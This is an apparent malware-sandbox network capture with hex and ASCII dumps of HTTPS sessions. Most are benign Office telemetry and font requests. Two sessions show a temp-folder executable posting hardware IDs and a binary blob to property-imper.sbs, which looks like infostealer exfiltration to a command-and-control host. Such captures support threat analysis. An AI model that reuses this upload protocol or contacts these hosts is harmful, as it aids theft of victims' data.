2024-11-23 20:15:42 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:43 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201543Z-178bfbc474b9fdhphC1NYCac0n00000004yg000000003xpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:43 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49772	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:43 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O43OL8Z3YIU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15039 Host: property-imper.sbs
2024-11-23 20:15:43 UTC	15039	OUT	Data Raw: 2d 2d 4f 34 33 4f 4c 38 5a 33 59 49 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4f 34 33 4f 4c 38 5a 33 59 49 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 34 33 4f 4c 38 5a 33 59 49 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 34 33 4f 4c 38 5a 33 59 49 55 Data Ascii: --O43OL8Z3YIUContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--O43OL8Z3YIUContent-Disposition: form-data; name="pid"2--O43OL8Z3YIUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--O43OL8Z3YIU
2024-11-23 20:15:44 UTC	1022	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m2alsot7tsfa6berqe84gpp9nj; expires=Wed, 19-Mar-2025 14:02:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5euMftbqPukzMcywoq%2FGSYw%2Fs%2FhNr2IbrXCDRqS%2FB455NbbqGA%2FtuxJ4d7JlizV6cbb8QDIv3YvPVyL95HhZdlAYVxw9U7MUFJrRWN42AVtoNuchFnD2PjKjUKIcv6WPbUN7Zik%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d539dff47d11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1754&sent=15&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=15974&delivery_rate=1525600&cwnd=241&unsent_bytes=0&cid=43d4dff414d56eff&ts=1118&x=0"
2024-11-23 20:15:44 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49776	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 20:15:44 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=220662 Date: Sat, 23 Nov 2024 20:15:44 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.8	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:45 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:45 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201545Z-178bfbc474bnwsh4hC1NYC2ubs000000054000000000126k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:45 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.8	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:45 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:45 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:45 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201545Z-174c587ffdfn4nhwhC1TEB2nbc00000003d000000000negf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:45 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.8	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:45 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:45 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:45 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201545Z-174c587ffdfb5q56hC1TEB04kg00000003cg000000006qqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:15:45 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.8	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:45 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201545Z-174c587ffdftv9hphC1TEBm29w00000003d0000000004cq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.8	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:45 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201545Z-15b8b599d886w4hzhC1TEBb4ug00000003dg00000000eb44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49787	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 20:15:46 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=220596 Date: Sat, 23 Nov 2024 20:15:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 20:15:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49788	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:46 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9MEPEDN8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20188 Host: property-imper.sbs
2024-11-23 20:15:46 UTC	15331	OUT	Data Raw: 2d 2d 39 4d 45 50 45 44 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 4d 45 50 45 44 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 4d 45 50 45 44 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 4d 45 50 45 44 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --9MEPEDN8Content-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--9MEPEDN8Content-Disposition: form-data; name="pid"3--9MEPEDN8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9MEPEDN8Content-Di
2024-11-23 20:15:46 UTC	4857	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e7 86 a3 c3 52 df 0f 03 00 00 Data Ascii: >7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0R
2024-11-23 20:15:47 UTC	1032	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7h4r5pos4jeg4gg6ruicpnto11; expires=Wed, 19-Mar-2025 14:02:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LNd2YUnK%2FFQ1sDSeeYDs9k3%2Fd7U1FsVC2zOzWt7Bx%2Bw3aUIW8GyVdKz%2BQ9DoMRvL%2ByWi6RtMY0%2BbudyVtIFtIJlpYAsjvOIRLyUpaPzIT5pU%2BZIt2zt3%2FxnkGn%2Fe%2F5gqDaGvWB0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d54d58b45e82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21767&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21142&delivery_rate=1688837&cwnd=216&unsent_bytes=0&cid=199875cc02a2cf79&ts=845&x=0"
2024-11-23 20:15:47 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.8	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:47 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:48 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e4221271-301e-0051-4239-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201548Z-174c587ffdf7t49mhC1TEB4qbg00000003b000000000a6my x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:48 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.8	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:47 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:48 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201548Z-178bfbc474bh5zbqhC1NYCkdug00000004sg00000000qm4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
